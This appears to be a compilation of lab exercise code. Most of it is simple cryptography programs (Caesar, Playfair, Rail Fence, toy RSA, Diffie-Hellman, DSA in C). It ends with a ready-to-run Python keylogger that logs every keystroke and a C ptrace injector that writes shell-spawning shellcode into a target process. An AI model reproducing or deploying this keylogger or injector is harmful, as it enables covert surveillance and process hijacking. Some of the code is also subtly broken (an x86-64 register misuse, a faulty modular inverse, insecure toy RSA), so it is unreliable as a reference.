**CEASER CIPHER**

#A python program to illustrate Caesar Cipher Technique

def encrypt(text,s):

result = ""

# traverse text

for i in range(len(text)):

char = text[i]

# Encrypt uppercase characters

if (char.isupper()):

result += chr((ord(char) + s-65) % 26 + 65)

# Encrypt lowercase characters

else:

result += chr((ord(char) + s - 97) % 26 + 97)

return result

#check the above function

text = "ATTACKATONCE"

s = 4

print ("Text : " + text)

print ("Shift : " + str(s))

print ("Cipher: " + encrypt(text,s))

**PLAYFAIRCIPHER**

# Python program to implement Playfair Cipher

# Function to convert the string to lowercase

def toLowerCase(text):

return text.lower()

# Function to remove all spaces in a string

def removeSpaces(text):

newText = ""

for i in text:

if i == " ":

continue

else:

newText = newText + i

return newText

# Function to group 2 elements of a string

# as a list element

def Diagraph(text):

Diagraph = []

group = 0

for i in range(2, len(text), 2):

Diagraph.append(text[group:i])

group = i

Diagraph.append(text[group:])

return Diagraph

# Function to fill a letter in a string element

# If 2 letters in the same string matches

def FillerLetter(text):

k = len(text)

if k % 2 == 0:

for i in range(0, k, 2):

if text[i] == text[i+1]:

new\_word = text[0:i+1] + str('x') + text[i+1:]

new\_word = FillerLetter(new\_word)

break

else:

new\_word = text

else:

for i in range(0, k-1, 2):

if text[i] == text[i+1]:

new\_word = text[0:i+1] + str('x') + text[i+1:]

new\_word = FillerLetter(new\_word)

break

else:

new\_word = text

return new\_word

list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'k', 'l', 'm',

'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']

# Function to generate the 5x5 key square matrix

def generateKeyTable(word, list1):

key\_letters = []

for i in word:

if i not in key\_letters:

key\_letters.append(i)

compElements = []

for i in key\_letters:

if i not in compElements:

compElements.append(i)

for i in list1:

if i not in compElements:

compElements.append(i)

matrix = []

while compElements != []:

matrix.append(compElements[:5])

compElements = compElements[5:]

return matrix

def search(mat, element):

for i in range(5):

for j in range(5):

if(mat[i][j] == element):

return i, j

def encrypt\_RowRule(matr, e1r, e1c, e2r, e2c):

char1 = ''

if e1c == 4:

char1 = matr[e1r][0]

else:

char1 = matr[e1r][e1c+1]

char2 = ''

if e2c == 4:

char2 = matr[e2r][0]

else:

char2 = matr[e2r][e2c+1]

return char1, char2

def encrypt\_ColumnRule(matr, e1r, e1c, e2r, e2c):

char1 = ''

if e1r == 4:

char1 = matr[0][e1c]

else:

char1 = matr[e1r+1][e1c]

char2 = ''

if e2r == 4:

char2 = matr[0][e2c]

else:

char2 = matr[e2r+1][e2c]

return char1, char2

def encrypt\_RectangleRule(matr, e1r, e1c, e2r, e2c):

char1 = ''

char1 = matr[e1r][e2c]

char2 = ''

char2 = matr[e2r][e1c]

return char1, char2

def encryptByPlayfairCipher(Matrix, plainList):

CipherText = []

for i in range(0, len(plainList)):

c1 = 0

c2 = 0

ele1\_x, ele1\_y = search(Matrix, plainList[i][0])

ele2\_x, ele2\_y = search(Matrix, plainList[i][1])

if ele1\_x == ele2\_x:

c1, c2 = encrypt\_RowRule(Matrix, ele1\_x, ele1\_y, ele2\_x, ele2\_y)

# Get 2 letter cipherText

elif ele1\_y == ele2\_y:

c1, c2 = encrypt\_ColumnRule(Matrix, ele1\_x, ele1\_y, ele2\_x, ele2\_y)

else:

c1, c2 = encrypt\_RectangleRule(

Matrix, ele1\_x, ele1\_y, ele2\_x, ele2\_y)

cipher = c1 + c2

CipherText.append(cipher)

return CipherText

text\_Plain = 'instruments'

text\_Plain = removeSpaces(toLowerCase(text\_Plain))

PlainTextList = Diagraph(FillerLetter(text\_Plain))

if len(PlainTextList[-1]) != 2:

PlainTextList[-1] = PlainTextList[-1]+'z'

key = "Monarchy"

print("Key text:", key)

key = toLowerCase(key)

Matrix = generateKeyTable(key, list1)

print("Plain Text:", text\_Plain)

CipherList = encryptByPlayfairCipher(Matrix, PlainTextList)

CipherText = ""

for i in CipherList:

CipherText += i

print("CipherText:", CipherText)

# This code is Contributed by Boda\_Venkata\_Nikith

**RAILFENCECIPHER**

# Python3 program to illustrate

# Rail Fence Cipher Encryption

# and Decryption

# function to encrypt a message

def encryptRailFence(text, key):

# create the matrix to cipher

# plain text key = rows ,

# length(text) = columns

# filling the rail matrix

# to distinguish filled

# spaces from blank ones

rail = [['\n' for i in range(len(text))]

for j in range(key)]

# to find the direction

dir\_down = False

row, col = 0, 0

for i in range(len(text)):

# check the direction of flow

# reverse the direction if we've just

# filled the top or bottom rail

if (row == 0) or (row == key - 1):

dir\_down = not dir\_down

# fill the corresponding alphabet

rail[row][col] = text[i]

col += 1

# find the next row using

# direction flag

if dir\_down:

row += 1

else:

row -= 1

# now we can construct the cipher

# using the rail matrix

result = []

for i in range(key):

for j in range(len(text)):

if rail[i][j] != '\n':

result.append(rail[i][j])

return("" . join(result))

# This function receives cipher-text

# and key and returns the original

# text after decryption

def decryptRailFence(cipher, key):

# create the matrix to cipher

# plain text key = rows ,

# length(text) = columns

# filling the rail matrix to

# distinguish filled spaces

# from blank ones

rail = [['\n' for i in range(len(cipher))]

for j in range(key)]

# to find the direction

dir\_down = None

row, col = 0, 0

# mark the places with '\*'

for i in range(len(cipher)):

if row == 0:

dir\_down = True

if row == key - 1:

dir\_down = False

# place the marker

rail[row][col] = '\*'

col += 1

# find the next row

# using direction flag

if dir\_down:

row += 1

else:

row -= 1

# now we can construct the

# fill the rail matrix

index = 0

for i in range(key):

for j in range(len(cipher)):

if ((rail[i][j] == '\*') and

(index < len(cipher))):

rail[i][j] = cipher[index]

index += 1

# now read the matrix in

# zig-zag manner to construct

# the resultant text

result = []

row, col = 0, 0

for i in range(len(cipher)):

# check the direction of flow

if row == 0:

dir\_down = True

if row == key-1:

dir\_down = False

# place the marker

if (rail[row][col] != '\*'):

result.append(rail[row][col])

col += 1

# find the next row using

# direction flag

if dir\_down:

row += 1

else:

row -= 1

return("".join(result))

# Driver code

if \_\_name\_\_ == "\_\_main\_\_":

print(encryptRailFence("attack at once", 2))

print(encryptRailFence("GeeksforGeeks ", 3))

print(encryptRailFence("defend the east wall", 3))

# Now decryption of the

# same cipher-text

print(decryptRailFence("GsGsekfrek eoe", 3))

print(decryptRailFence("atc toctaka ne", 2))

print(decryptRailFence("dnhaweedtees alf tl", 3))

# This code is contributed

# by Pratik Somwanshi

**Rsa**

import random

import math

# A set will be the collection of prime numbers,

# where we can select random primes p and q

prime = set()

public\_key = None

private\_key = None

n = None

# We will run the function only once to fill the set of

# prime numbers

def primefiller():

# Method used to fill the primes set is Sieve of

# Eratosthenes (a method to collect prime numbers)

seive = [True] \* 250

seive[0] = False

seive[1] = False

for i in range(2, 250):

for j in range(i \* 2, 250, i):

seive[j] = False

# Filling the prime numbers

for i in range(len(seive)):

if seive[i]:

prime.add(i)

# Picking a random prime number and erasing that prime

# number from list because p!=q

def pickrandomprime():

global prime

k = random.randint(0, len(prime) - 1)

it = iter(prime)

for \_ in range(k):

next(it)

ret = next(it)

prime.remove(ret)

return ret

def setkeys():

global public\_key, private\_key, n

prime1 = pickrandomprime() # First prime number

prime2 = pickrandomprime() # Second prime number

n = prime1 \* prime2

fi = (prime1 - 1) \* (prime2 - 1)

e = 2

while True:

if math.gcd(e, fi) == 1:

break

e += 1

# d = (k\*Φ(n) + 1) / e for some integer k

public\_key = e

d = 2

while True:

if (d \* e) % fi == 1:

break

d += 1

private\_key = d

# To encrypt the given number

def encrypt(message):

global public\_key, n

e = public\_key

encrypted\_text = 1

while e > 0:

encrypted\_text \*= message

encrypted\_text %= n

e -= 1

return encrypted\_text

# To decrypt the given number

def decrypt(encrypted\_text):

global private\_key, n

d = private\_key

decrypted = 1

while d > 0:

decrypted \*= encrypted\_text

decrypted %= n

d -= 1

return decrypted

# First converting each character to its ASCII value and

# then encoding it then decoding the number to get the

# ASCII and converting it to character

def encoder(message):

encoded = []

# Calling the encrypting function in encoding function

for letter in message:

encoded.append(encrypt(ord(letter)))

return encoded

def decoder(encoded):

s = ''

# Calling the decrypting function decoding function

for num in encoded:

s += chr(decrypt(num))

return s

if \_\_name\_\_ == '\_\_main\_\_':

primefiller()

setkeys()

message = "Test Message"

# Uncomment below for manual input

# message = input("Enter the message\n")

# Calling the encoding function

coded = encoder(message)

print("Initial message:")

print(message)

print("\n\nThe encoded message(encrypted by public key)\n")

print(''.join(str(p) for p in coded))

print("\n\nThe decoded message(decrypted by public key)\n")

print(''.join(str(p) for p in decoder(coded)))

**DIFFIE-HELLMANKEYEXCHANGE**

# Diffie-Hellman Code

def prime\_checker(p):

# Checks If the number entered is a Prime Number or not

if p < 1:

return -1

elif p > 1:

if p == 2:

return 1

for i in range(2, p):

if p % i == 0:

return -1

return 1

def primitive\_check(g, p, L):

# Checks If The Entered Number Is A Primitive Root Or Not

for i in range(1, p):

L.append(pow(g, i) % p)

for i in range(1, p):

if L.count(i) > 1:

L.clear()

return -1

return 1

l = []

while 1:

P = int(input("Enter P : "))

if prime\_checker(P) == -1:

print("Number Is Not Prime, Please Enter Again!")

continue

break

while 1:

G = int(input(f"Enter The Primitive Root Of {P} : "))

if primitive\_check(G, P, l) == -1:

print(f"Number Is Not A Primitive Root Of {P}, Please Try Again!")

continue

break

# Private Keys

x1, x2 = int(input("Enter The Private Key Of User 1 : ")), int(

input("Enter The Private Key Of User 2 : "))

while 1:

if x1 >= P or x2 >= P:

print(f"Private Key Of Both The Users Should Be Less Than {P}!")

continue

break

# Calculate Public Keys

y1, y2 = pow(G, x1) % P, pow(G, x2) % P

# Generate Secret Keys

k1, k2 = pow(y2, x1) % P, pow(y1, x2) % P

print(f"\nSecret Key For User 1 Is {k1}\nSecret Key For User 2 Is {k2}\n")

if k1 == k2:

print("Keys Have Been Exchanged Successfully")

else:

print("Keys Have Not Been Exchanged Successfully")

**DSA using c**

#include <stdio.h>

#include <math.h>

// Function prototypes

int power(int, unsigned int, int);

int multiplicativeInverse(int, int, int);

int main() {

int p, q, h, g, r, s, t, x, y, z, k, inv, hash;

printf("\nEnter prime number p and enter q prime divisor of (p-1): ");

scanf("%d %d", &p, &q);

printf("\nEnter h such that it is greater than 1 and less than (p-1): ");

scanf("%d", &h);

// Calculate g = h^((p-1)/q) mod p

g = power(h, (p-1)/q, p);

printf("\nEnter user's private key x such that it is greater than 0 and less than q: ");

scanf("%d", &x);

printf("\nEnter user's per-message secret key k such that it is greater than 0 and less than q: ");

scanf("%d", &k);

printf("\nEnter the hash(M) value: ");

scanf("%d", &hash);

// Compute r = (g^k mod p) mod q

z = power(g, k, p);

r = z % q;

// Compute the multiplicative inverse of k mod q

inv = multiplicativeInverse(k, q, p);

// Compute s = inv \* (hash + x \* r) % q

s = (inv \* (hash + x \* r)) % q;

printf("\n\*\*\*\*\*\*\*\*\*Computed Values\*\*\*\*\*\*\*\*\*");

printf("\ng = %d", g);

printf("\nr = %d", r);

printf("\ns = %d", s);

printf("\nGenerated Signature Sender = (%d, %d)\n", r, s);

return 0;

}

// Function to perform modular exponentiation

int power(int x, unsigned int y, int p) {

int res = 1; // Initialize result

x = x % p; // Update x if it is more than or equal to p

while (y > 0) {

// If y is odd, multiply x with the result

if (y & 1)

res = (res \* x) % p;

// y must be even now

y = y >> 1; // y = y / 2

x = (x \* x) % p; // Change x to x^2

}

return res;

}

// Function to find the multiplicative inverse of a under modulo b using the extended Euclidean algorithm

int multiplicativeInverse(int a, int b, int n) {

int x, y;

for (y = 0; y < n; y++) {

for (x = 0; x < n; x++) {

if ((a \* x + b \* (-y)) % n == 1)

return x;

}

}

return -1; // Return -1 if no inverse exists

}

**Keyloggers**

import os

import pyxhook

# Set up the log file location and cancel key

log\_file = os.environ.get('pylogger\_file', os.path.expanduser('~/Desktop/file.log'))

cancel\_key = ord(os.environ.get('pylogger\_cancel', '`')[0])

# Clean up the log file if the environment variable is set

if os.environ.get('pylogger\_clean', None) is not None:

try:

os.remove(log\_file)

except EnvironmentError:

pass

# Define the function that will be called on key press

def OnKeyPress(event):

with open(log\_file, 'a') as f:

f.write('{}\n'.format(event.Key))

# Create a hook manager

new\_hook = pyxhook.HookManager()

new\_hook.KeyDown = OnKeyPress

new\_hook.HookKeyboard()

# Start the hook

try:

new\_hook.start()

except KeyboardInterrupt:

pass

except Exception as ex:

msg = 'Error while catching events:\n{}'.format(ex)

with open(log\_file, 'a') as f:

f.write('\n{}'.format(msg))

**PROCESSCODEINJECTION using c(ptrace)**

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/wait.h>

#include <sys/ptrace.h>

#include <sys/user.h>

char shellcode[] = {

"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97"

"\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

};

void header() {

printf("---- Memory bytecode injector ----\n");

}

int main(int argc, char \*\*argv) {

int i, size, pid = 0;

struct user\_regs\_struct reg;

char \*buff;

header();

if (argc != 2) {

printf("Usage: %s <pid>\n", argv[0]);

return 1;

}

pid = atoi(argv[1]);

size = sizeof(shellcode);

buff = (char\*)malloc(size);

memset(buff, 0x0, size);

memcpy(buff, shellcode, sizeof(shellcode));

// Attach to the process

ptrace(PTRACE\_ATTACH, pid, 0, 0);

wait(NULL); // Wait for the process to stop

// Get the current register state of the process

ptrace(PTRACE\_GETREGS, pid, 0, &reg);

printf("Writing to EIP 0x%x in process %d\n", reg.eip, pid);

// Write shellcode to the process memory

for (i = 0; i < size; i++) {

ptrace(PTRACE\_POKETEXT, pid, reg.eip + i, \*(int\*)(buff + i));

}

// Detach from the process

ptrace(PTRACE\_DETACH, pid, 0, 0);

free(buff);

return 0;

}